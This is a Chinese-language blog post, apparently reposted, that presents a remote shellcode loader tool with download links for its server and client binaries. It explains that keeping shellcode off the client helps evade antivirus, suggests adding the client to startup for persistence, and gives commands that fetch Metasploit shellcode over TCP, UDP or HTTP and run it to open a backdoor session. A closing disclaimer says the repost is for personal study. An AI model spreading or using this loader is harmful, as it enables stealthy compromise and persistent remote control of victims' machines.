C/C++ 遠程ShellCode執行工具 [首發]


通過開發一組遠程代碼執行盒,可以動態實現對ShellCode代碼的動態載入,由於ShellCode不存放在本地客戶端常量區,所以在一定程度上可以減少被殺概率,客戶端只保留之基本的Socket通信功能,當需要時才會加載惡意代碼運行。

此工具分為服務端與客戶端,客戶端可以將其加入到開機自啟動列表,並傳入響應的參數即可,目前支持TCP/UDP/HTTP三種協議傳輸,后期可能會增加ICMP等來實現后門的傳輸工作。

服務端客戶端下載地址
Server 服務端: https://share.weiyun.com/gvNrdECD
Client 客戶端: https://share.weiyun.com/FsQ0Orcs

使用 TCP/UDP 隧道上線

1.首先MFS工具生成ShellCode代碼,代碼無需壓縮,直接保存為一下格式即可。

2.服務端執行命令,指定偵聽端口,以及需要傳輸的shellcode反彈后門路徑。

Server.exe RunServer --type tcp --listen 9999 --shellcode d://shellcode.txt

當服務器啟動后,會默認在本機,偵聽9999端口,等待客戶端獲取數據包。

2.啟動我們的MSF控制台,並設置為偵聽狀態。

3.此時客戶端執行,獲取命令即可。

Client.exe RunClient --type tcp --address 127.0.0.1 --port 9999

4.回到我們的MSF控制台,就可以看到客戶端已經上線了。

服務端與客戶端此時狀態如下,服務端發送數據后會顯示客戶端的IP地址來源。

MSF控制台則直接可以上線。


使用 HTTP 隧道上線

HTTP上線稍微復雜一些。

1.首先你需要手動將shellcode壓縮為一行,並命名為shellcode.raw文件,壓縮方式有多種,你可以使用我開發的shellcode注入器中的format函數完成。

2.當放入同級目錄后,直接啟動HTTP服務。

Server.exe RunServer --type http --listen 9999

3.此時我們可以通過瀏覽器,訪問一下看看是否啟動成功了。

4.客戶端執行,獲取命令即可。如下。

Client.exe RunClient --type http --address http://127.0.0.1:9999/shellcode.raw --port 9999

5.回到MSF中,可以看到已經成功上線了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM